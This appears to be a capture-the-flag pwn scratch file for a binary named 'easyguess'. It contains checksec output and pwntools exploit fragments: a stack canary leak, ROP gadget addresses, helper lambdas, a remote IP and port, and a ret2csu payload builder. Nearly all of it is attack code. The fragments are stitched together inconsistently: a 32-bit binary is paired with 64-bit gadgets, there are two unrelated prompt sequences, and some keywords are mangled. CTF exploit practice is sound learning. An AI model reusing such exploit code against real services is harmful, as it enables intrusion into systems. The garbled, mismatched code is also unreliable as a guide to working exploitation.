easyguess: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=82ca2e649768e48e033662e11193e6e486b37089, not stripped Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
name = "1" times = 16 sla("What is your name?\n> ",name) sla("How many times do you want to try?\n> ",str(times)) sla("Time[sec]: ","\x00") p.recvuntil("Stop the timer as close to ") leak_addr = ru(" ")[:-1] leak_addr = struct.pack("<d", float(leak_addr)) leak_addr = str(binascii.hexlify(leak_addr)[::-1]) success("leak_addr >> "+leak_addr)
canary = "" for i inrange(0, len(leak_addr), 2): canary += leak_addr[i+1] + leak_addr[i] canary = eval("0x"+canary) success("canray >> "+hex(canary))
pop_rdi_ret = 0x0000000000400e93 ret = 0x00000000004006a6
if arch==64: context.arch='amd64' if arch==32: context.arch='i386'
elf = ELF(challenge) libc = ELF('libc-2.27.so')
rl = lambda a=False : p.recvline(a) ru = lambda a,b=True : p.recvuntil(a,b) rn = lambda x : p.recvn(x) sn = lambda x : p.send(x) sl = lambda x : p.sendline(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) irt = lambda : p.interactive() dbg = lambda text=None : gdb.attach(p, text) # lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr)) lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s))) uu32 = lambda data : u32(data.ljust(4, b'x00')) uu64 = lambda data : u64(data.ljust(8, b'x00'))
local = 1 if local: p = process(challenge) else: p = remote('119.13.105.35','10111') defdebug(): #gdb.attach(p) gdb.attach(p,"b *$rebase(0x1484)\n") pause() defcmd(op): sla(">",str(op))
#debug() size = 0x20-9 sla("Enter the size : ",str(size)) num = 2 sla("Enter the number of tries : ",str(num)) for i inrange(2): sla("Enter your guess :","\x00")
defcsu(rbx, rbp, r15,r12, r13, r14, last): # pop rbx,rbp,r12,r13,r14,r15 # rbx should be 0, # rbp should be 1,enable not to jump # r15 should be the function we want to call(只能是got表地址) # rdi=edi=r12d # rsi=r13 # rdx=r14 # csu(0, 1, fun_got, rdi, rsi, rdx, last) payload = p64(csu_end_addr) payload += p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15) payload += p64(csu_front_addr) payload += b'a' * 0x38 payload += p64(last) return payload